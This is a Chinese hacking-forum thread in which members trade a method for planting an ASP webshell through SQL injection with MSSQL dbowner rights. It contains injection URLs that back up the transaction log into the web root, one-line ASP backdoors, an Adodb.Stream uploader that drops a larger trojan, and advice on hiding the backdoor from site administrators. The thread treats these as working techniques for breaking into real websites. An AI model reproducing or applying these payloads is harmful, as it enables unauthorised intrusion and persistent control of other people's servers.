返回列表 发帖

[讨论]SQL注入dbowner权限拿webshell

[讨论]SQL注入dbowner权限拿webshell
议题作者:free2ndfree
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
原始连接:www.eviloctal.com

SA权限的现在少了,对于菜鸟来说,拿个webshell真不容易呀!了解到dbowner权限可以拿webshell(经常盲注入时经常遇见dbowner权限),我找了好多资料,哎,郁闷的狠就是找不到相关的动画,都是以文字的形式写出来的,在黑防找到一个动画还是给VIP用的。天无决人之路,还是看文章吧!


很快就找到了一个dbowner权限的注入点,用NBSI就够了,我就不多废话了。由于是菜鸟我不知道咋样判断web与数据库是否在同一服务器上(别骂我),但我觉得我找的这个网站是满足网上一些牛人说的条件的。

数据库:xxx
物理路径:d:\xxxxx\
注入点:http://www.xx.com/show_Topic.asp?T_id=436  数字型

1 http://www.xx.com/show_Topic.asp?T_id=436;alter database xxx set RECOVERY FULL
2 http://www.xx.com/show_Topic.asp?T_id=436;create table cmd (a image)--
3 http://www.xx.com/show_Topic.asp?T_id=436;backup log xxx to disk = 'c:\cmd' with init
4 http://www.xx.com/show_Topic.asp?T_id=436;insert into cmd (a) values (&#39;<%Execute(request("l"))%>&#39;)--
5 http://www.xx.com/show_Topic.asp?T_id=436;backup log xxx to disk = &#39;d:\xxxxx\asa.asp&#39;--
6 http://www.xx.com/show_Topic.asp?T_id=436;drop table cmd--

我一个一个提交,估计是有一句话马诞生了,我访问http://www.xx.com/asa.asp,是乱码!
难道是我提交成功了?接下来就不知道该咋办了,废话肯定用客户端连接,有人说。
<%Execute(request("l"))%>我以前没用过这个一句话马,不知道用哪个连接。结果我把上面的一句话马换成了海洋的一句话,可惜就是提交不成功估计是太长了吧。幸运呀,作夜12点了,我到论坛发贴问了一下,一个管理员说用:  一话后门提交.htm  里面的内容:
------------------------------------------------------------------------------------------------------------
                               一句话后门提交

表单提交地址:  http://
----------------------------------------------------------
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
-----------------------------------------------------------
添入生成木马的内容
本提交页面所对应的服务端为 <%execute request("aoyunwan")%> ,可自行修改

------------------------------------------------------------------------------------------------------------
看来论坛上的人还是负责滴,把下载地址都贴了出来了。没办法太菜了,我在“添入。。。。。。,可自行修改”那里添了海洋顶端。把地址写上http://www.xx.com/asa.asp,直接提交,其他的没有修改,结果还是乱码!
写这个帖子主要是想搞清楚:
1 我访问一句话马,咋样知道是否写入了?是否成功了?页面情况是个啥?(我上面返回的是乱码)
2 咋样判断数据库与web在同一服务器上(难道是靠经验)?
3 就是那个一句话木马连接客户端,在提交时有啥要修改的?当然了<%Execute(request("l"))%>中的l是密码我还是知道滴。我在海洋顶端里也把#换成了l,不知道其他的用修改哪里。

最后我再占用邪八一点空间(奸笑中。。):难道dbowner拿webshell是秘诀,就是找不到相关的动画,也许高手现在已经不做动画了吧!还是慢慢等吧!也不知道写了半个多小时的帖子啥时候能通过审核。


              





[s:39]  [s:38]
帖子28 精华2 积分104 阅读权限40 性别男 在线时间18 小时 注册时间2006-3-22 最后登录2008-6-8 查看详细资料引用 报告 回复 TOP 您知道您年薪应是多少?

寂寞宝贝
荣誉会员

真的,感觉dbowner拿webshell有点老了,N人们几年前就玩上了.虽然老了,但我目前只会这方法,其他不就不知道了.
好多人发消息问咋成功不了,建议找个动画看看.我已经不拿什么webshell了,偶而上来看看!
建议看看hack520给我回复的那个帖!!!
帖子28 精华2 积分104 阅读权限40 性别男 在线时间18 小时 注册时间2006-3-22 最后登录2008-6-8 查看详细资料引用 报告 回复 TOP

從此變黑
晶莹剔透§烈日灼然

TOP

什么命令都不能用,可以确定的是web与SQL没有分开,不知是不是SA的权限被降低了..

帖子26 精华0 积分87 阅读权限40 性别男 在线时间46 小时 注册时间2006-3-23 最后登录2008-7-14 查看个人网站
查看详细资料引用 报告 回复 TOP

free2ndfree
晶莹剔透§烈日灼然

TOP

在提权上我也是遇到很多的问题,特别是wscript shell被禁用了连 net user都不能用的时候。我真不知道怎么办了。。。
偶是很菜很菜的鸟
帖子4 精华0 积分16 阅读权限40 在线时间6 小时 注册时间2007-2-10 最后登录2007-12-18 查看详细资料引用 报告 回复 TOP

hackloves
晶莹剔透§烈日灼然

TOP

用ad能找到web目录就是web和sql是一体的找不到就是分开的,要是sa权限的,可以看看ip命令:ipconfig,这看到的是sql的ip,然后ping下玉米,得到的是web的ip,要是两个是一样的,就是一体的,另外,还存在在同一个内网的问题,看看端口什么的,你多练练就明白了,

帖子10 精华0 积分27 阅读权限40 性别男 在线时间10 小时 注册时间2006-10-14 最后登录2008-6-14 查看详细资料引用 报告 回复 TOP

flyboy88
晶莹剔透§烈日灼然

TOP

我的是PHP+MSSQL的数字型SA注入点,但会在每个单引号后面又加了个单引号,所以必须转换成16进制,执行到第三步,出现错误
Database error: Invalid SQL: SELECT m_title,m_author,m_source,m_content,convert(char(10),m_datetime,102) as m_datetime,m_picture,m_table,m_keyword FROM view_article WHERE m_id=48;backup log xxx to disk = &#39;&#39;c:\cmd&#39;&#39; with init--
MSSQL Error: 1 (General Error (The MSSQL interface cannot return detailed error messages).)
Session halted.


;backup log xxx to disk = &#39;c:\cmd&#39; with init-- ,将&#39;c:\cmd&#39;转换成16进制依然错误,高手指教下。

帖子26 精华0 积分87 阅读权限40 性别男 在线时间46 小时 注册时间2006-3-23 最后登录2008-7-14 查看个人网站
查看详细资料引用 报告 回复 TOP

19830821
晶莹剔透§烈日灼然

TOP

用数据库差异备份的,已经成功了,但是访问和连接的时候却是显示成这样,这是为什么呢??



Microsoft VBScript 编译器错误 错误 &#39;800a0408&#39;

无效字符

/nee/jzl.asp,行 881

I=-#?
-^
帖子11 精华0 积分38 阅读权限40 性别男 在线时间44 小时 注册时间2007-1-11 最后登录2008-7-7 查看详细资料引用 报告 回复 TOP

hackloves
晶莹剔透§烈日灼然

TOP

长进了  多谢大家的讨论
帖子4 精华0 积分10 阅读权限40 性别男 在线时间9 小时 注册时间2006-3-24 最后登录2008-7-10 查看详细资料引用 报告 回复 TOP

hzzlh
晶莹剔透§烈日灼然

TOP

..都是强人...我落后啦.. [s:38]

帖子1 精华0 积分6 阅读权限40 性别男 在线时间0 小时 注册时间2007-2-23 最后登录2007-2-24 查看详细资料引用 报告 回复 TOP

tonway
晶莹剔透§烈日灼然

TOP

虽然网上都是DBO的提权的资料 我和楼主一样没弄懂
帖子28 精华0 积分85 阅读权限40 在线时间3 小时 注册时间2006-3-8 最后登录2008-5-5 查看详细资料引用 报告 回复 TOP

黑色鼠标
晶莹剔透§烈日灼然

TOP

<%if request("cmd")<>"" then execute request("pass")%>这句绝对可以成功连接,而且写入的页面也不会出错,DB权限的偶成功过N次了,用lake2的客户端连接挺方便的!My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

帖子882 精华20 积分5849 阅读权限150 性别男 来自广东 在线时间941 小时 注册时间2006-10-12 最后登录2008-3-3 查看个人网站
查看详细资料引用 报告 回复 TOP

sndqt
晶莹剔透§烈日灼然

TOP

alter database [XXX] set RECOVERY FULL


服务器: 消息 5011,级别 14,状态 2,行 1
用户没有更改数据库 &#39;[XXX] &#39; 的权限。
服务器: 消息 5069,级别 16,状态 1,行 1
ALTER DATABASE 语句失败。
帖子2 精华0 积分9 阅读权限40 性别男 在线时间0 小时 注册时间2006-10-16 最后登录2006-10-16 查看详细资料引用 报告 回复 TOP

hackest
运维管理组

TOP

[s:59]  [s:59] 在各位大哥的帮忙下,webshell已经成功拿到了!

接下来就是提权了!!感谢hack520,heroooooo等等的人!
帖子28 精华2 积分104 阅读权限40 性别男 在线时间18 小时 注册时间2006-3-22 最后登录2008-6-8 查看详细资料引用 报告 回复 TOP

lei1180
晶莹剔透§烈日灼然

TOP

Microsoft VBScript 编译器错误 错误 &#39;800a0408&#39;

无效字符

/adimg/1.asp,行 9765

鑮zB搵?\縔~?md疁H?鈚TW栋?I鐂BBD縃>N?M

不是说缺少结束字符就是上面的错误!哪位帮我解决下菜鸟一只

帖子11 精华0 积分38 阅读权限40 性别男 来自广东 在线时间31 小时 注册时间2005-8-10 最后登录2008-7-1 查看详细资料引用 报告 回复 TOP

anwell
晶莹剔透§烈日灼然

TOP

我看了hack520大哥的那篇文章,用苯酚log成功了,用的一句话是<%Execute(request("free2ndfree"))%>
我访问http://www.xx.com/1.asp 因为出现了
--------------------------------------------
Microsoft VBScript 运行时错误 错误 &#39;800a000d&#39;

类型不匹配: &#39;execute&#39;

/1.asp,行 120
------------------------------------------------------------------------
这样的提示,估计是成功了。
接着我用 一句话提交页面 进行提交,里面的内容我做了相应的修改

                        一句话后门提交

表单提交地址: http://www.xx.com/1.asp
----------------------------------------------------------
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("free2ndfree")
iP.SaveToFile server.mappath("free2ndfree.asp"),2
iP.Close
set iP=nothing
response.redirect "free2ndfree.asp"
-----------------------------------------------------------
添入生成木马的内容
----------------------------------------------------------------------------------------------
我本以为提交后返回的页面是http://www.xx.com/free2ndfree.asp(我的大马)
结果浏览器又返回了http://www.xx.com/1.asp 我很郁闷,!!!
难道是我的 一句话后门提交页面的内容修改错了??? [s:55]
帖子28 精华2 积分104 阅读权限40 性别男 在线时间18 小时 注册时间2006-3-22 最后登录2008-6-8 查看详细资料引用 报告 回复 TOP

free2ndfree
晶莹剔透§烈日灼然

TOP

"为什么要我说得这么明白呢??大多数的人都知道了.."
我们都是一些对ASP不太熟悉的菜鸟,如果知道ASP方面的知识多的话,就明白了!
还是感谢楼上的! [s:70]
帖子28 精华2 积分104 阅读权限40 性别男 在线时间18 小时 注册时间2006-3-22 最后登录2008-6-8 查看详细资料引用 报告 回复 TOP

tsjmarco
晶莹剔透§烈日灼然

TOP

我总是备份不成功。。
帖子14 精华0 积分51 阅读权限40 性别男 在线时间16 小时 注册时间2005-12-8 最后登录2007-11-6 查看详细资料引用 报告 回复 TOP

free2ndfree
晶莹剔透§烈日灼然

TOP

修改的地方就是你文本框中的value的值,就是<%if request("|")<>"" then execute request("|")%>中的"|",将name=|即可.当你将request的值修改了之后,value的值就要做相应的修改.注意有两个文本框,知道修改哪一个吧??
为什么要我说得这么明白呢??大多数的人都知道了..

帖子54 精华0 积分2994 阅读权限100 性别男 来自山东 在线时间17 小时 注册时间2006-1-8 最后登录2008-6-27 查看个人网站
查看详细资料引用 报告 回复 TOP

free2ndfree
晶莹剔透§烈日灼然

TOP

<%if request("|")<>"" then execute request("|")%>
楼上的你用这句话成功过?

“关键是你的客户端的提交的字符中有的地方要做相应的修改,大家都明白,我就不多说了,一个简单的客户端就行了”不知道地方就在这里,不知道该修改哪里呀!
帖子28 精华2 积分104 阅读权限40 性别男 在线时间18 小时 注册时间2006-3-22 最后登录2008-6-8 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味

heroooooo
荣誉会员

TOP

楼上的我怀疑你的水准,你要是知道些asp的知识,你就不会这么说了,这个一句话的功能是不用怀疑的,关键是你的客户端的提交的字符中有的地方要做相应的修改,大家都明白,我就不多说了,一个简单的客户端就行了,怕麻烦的话,就下载一个,用txt 查看一下有没有什么别的东东.不怕麻烦的话,就自己写一个,也就那么几句话.你写入不成功的可能性有很多:
1,你的客户端的一个字符有问题
2.fso
3.该目录没有写权限
ps:你插入一句话的时候要插好一点,否则熟悉搞站的一眼就看出这个站有点问题的,你的webshell就有很大的可能性要被干了,呵呵..
一般这么插入就可以了:
<%if request("|")<>"" then execute request("|")%>
原因不用我多说,都明白.

帖子54 精华0 积分2994 阅读权限100 性别男 来自山东 在线时间17 小时 注册时间2006-1-8 最后登录2008-6-27 查看个人网站
查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经

free2ndfree
晶莹剔透§烈日灼然

TOP

返回列表